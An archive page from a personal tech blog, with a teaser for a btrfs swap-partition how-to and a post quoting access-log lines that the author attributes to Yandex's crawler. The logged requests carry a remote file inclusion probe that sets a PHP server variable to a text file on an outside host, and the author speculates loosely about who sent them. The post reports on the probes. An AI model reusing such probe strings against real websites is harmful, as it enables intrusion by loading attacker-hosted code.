Autarchy of the Private Cave

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    Archive for April, 2016

    How to: easily add swap partition to a live system on btrfs

    14th April 2016

    Recently I had a need to add a swap file to my Debian installation.
    However, I am now using btrfs, and – as with any other COW filesystem – it is not possible to simply create a swap file and use it.
    There are workarounds (creating a file with a COW attribute removed, and then loop-mounting it), but I just did not like them.

    So I have decided to add a swap partition.
    It worked amazingly (and very easily), there was even no need to reboot – at all.
    I still did restart, just to make sure the system is bootable – and all was perfectly fine.

    My initial setup is very simple: a single /dev/sda1 partition on the /dev/sda disk, fully used by btrfs.
    Different important paths/mountpoints are btrfs subvolumes, using flat hierarchy.
    For this example, let us assume that /dev/sda (and /dev/sda1) is 25GB large, and that I want to add a 2GB swap /dev/sda2 after /dev/sda1.

    Brief explanation before we start:

    1. shrink btrfs filesystem by more than 2GB;
    2. shrink btrfs partition by 2GB;
    3. create new 2GB partition for the swap;
    4. resize btrfs filesystem to full size of its new-size partition;
    5. initialize swap and turn it on.

    Here are the very easy steps! Just make sure you do not make mistakes anywhere ;)
    Read the rest of this entry »

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    Posted in *nix, how-to | No Comments »

    Yandex probing for vulnerabilities in .UA domains?

    11th April 2016

    Here is a recent entry from my web-server’s access log:

    bogdan.org.ua:80 130.193.51.57 – - [09/Apr/2016:15:53:22 +0300] “GET /categories/programming?_SERVER[DOCUMENT_ROOT]=http://www.daedongfur.co.kr/shop/log/.logs/id1.txt HTTP/1.1″ 200 13158 “-” “Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)”

    Client’s IP 130.193.51.57 does belong to Yandex network range.

    So…

    • Had Yandex started looking for vulnerabilities in the web-sites it scans?
    • Does it only look for vulnerabilities in the .UA web-sites/domains?
    • Does Yandex really use a Korean web-site to host malicious code?

    In fact, there are more entries like that one, also from one of Yandex IPs:

    bogdan.org.ua:80 130.193.51.25 – - [04/Apr/2016:00:14:22 +0300] “GET /categories/programming/page/5?_SERVER%5BDOCUMENT_ROOT%5D=http%3A%2F%2Fwww.daedongfur.co.kr%2Fshop%2Flog%2F.logs%2Fid1.txt HTTP/1.1″ 200 12607 “-” “Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)”
    bogdan.org.ua:80 130.193.51.25 – - [04/Apr/2016:00:19:31 +0300] “GET /categories/programming/page/4?_SERVER%5BDOCUMENT_ROOT%5D=http%3A%2F%2Fwww.daedongfur.co.kr%2Fshop%2Flog%2F.logs%2Fid1.txt HTTP/1.1″ 200 12174 “-” “Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)”

    I can see 3 explanations, and all of them are bad for Yandex:

    • Yandex now belongs to KGB, and it does scan [.UA] web-sites for vulnerabilities;
    • some/many of Yandex crawler servers are compromised, and are used by malicious 3rd parties;
    • there was a public malicious link somewhere (???) to my blog, and Yandex blindly followed it.
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    Posted in Misc, Web | No Comments »